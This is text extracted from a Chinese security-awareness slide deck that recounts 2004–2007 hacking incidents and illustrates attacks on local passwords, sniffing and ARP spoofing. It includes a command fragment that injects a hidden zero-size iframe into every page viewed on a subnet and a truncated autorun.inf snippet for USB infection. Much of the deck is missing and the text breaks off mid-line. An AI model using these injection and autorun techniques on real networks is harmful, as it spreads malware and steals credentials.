文档介绍：信息安全风险及分析
主讲：高显嵩
Email：******@
精选ppt
个人介绍 高显嵩
工作经历：
中国“互联网信息安全与政府监管”专家组成员
中国法证技术研究组成员
北京司法局电子数
2004年黑客事件
腾讯服务器被攻击
10月17日早上10时许，国内各地网民陆续腾讯QQ无法登陆。据腾讯QQ内部技术人员透露，一国内团体，利用腾讯QQ服务器漏洞要挟腾讯支付100万美金作为“修复”费用，腾讯QQ不予理睬后，该组织于17日正式发动攻击，腾讯QQ服务器在1个小时内大面积出现故障,、操作迅速，业内有部分安全管理人士称网络进入软件绑架***时代。
精选ppt
2004年黑客事件
江民网站被攻击
2004年10月17日国内著名的杀毒软件厂商江民公司的网站被一
名为河马史诗的黑客攻破，页面内容被篡改。
攻击缘由：江民公司的最新杀毒软件产品KV2005的升级导致用户在上网时无法打开“邮件监控和网页监控”，用户在江民公司的官方论坛发反映后，江民没有做出及时的回复，也没能在短时间内解决用户的问题。
精选ppt
2005年黑客事件频繁
也许你的计算机正在被当作从事违法犯罪活动的工具，而当这些悄悄发生的时候，你却一无所知，因为你的电脑已经成为被别人控制的“僵尸电脑”。
精选ppt
2005年黑客事件
国内首起僵尸网络事件
今年27岁的徐立系唐山市某企业工人，其利用某些手段在互联网上传播其编写的特定程序，先后植入4万余台计算机，形成了中国首例BOTNET“僵尸网络。 2004年10月至2005年1月，徐立操纵“僵尸网络”对北京大吕黄钟电子商务有限公司所属音乐网站北京飞行网（简称酷乐），发动多次攻击，致使该公司蒙受重大经济损失，并导致北京电信数据中心某机房网络设备大面积瘫痪。
精选ppt
2006年黑客事件
2006年12月31日 中国工商银行被黑
06年的最后一天，很多网友都收到一些号称“工行要倒闭，所有存款均没收”之类的新闻链接，，。原来工商被***，截止当天晚上11点，发现此漏洞已经修改好。
精选ppt
07年第一黑客事件
深圳律师网被黑
当进入该网站之后，就发生事故了，发现，已经被黑.
主要有以下字样：
天空未留痕迹,鸟儿却已飞过.
网络亦是虚拟,疯狂亦是叛逆. .......~~~尊敬的網站管理員 您好~~~.......
..............台湾是中国的，日本是吃S的..............
.............如果你是中国人.............
.........请保留此页几天 谢谢!......... 少年★浪子 所向披靡 OICQ 11888956
精选ppt
例子：得到本地登录密码
+
精选ppt
例子：记录本地登录密码
GINA PassWord Sniffer
精选ppt
例子得到远程计算机的密码
精选ppt
例子：更改本地管理员密码
WindowsNT/2000/XP/2003/Linux/Unix系统，本地接触可以更改任意用户的密码。
一张软盘更改本地管理员密码
Ntpassword
一张光盘更改本地管理员密码
ERD Commander 2003
精选ppt
例子：ERD COMMANDER
精选ppt
例子： ERD COMMANDER
精选ppt
例子：得到他人的邮件密码
密码***
精选ppt
通过监听得到密码
精选ppt
通过监听得到密码
精选ppt
通过监听得到密码
精选ppt
例子：内网渗透
内网主机访问任意站点被入侵
指定的IP段中的用户访问的所有网站都插入一个框架代码
-idx 0 -ip - -port 80 -insert
"<iframe src=‘' width=0 height=0>"
精选ppt
ARP协议工作原理
精选ppt
ARP欺骗交换机
精选ppt
ARP欺骗计算机
精选ppt
例子：内网U盘感染
U盘在互联网和局域网内交叉使用文件被盗取
autorun风暴
[autorun]
open=
shell\open=打开(&O)
shell\open\Comman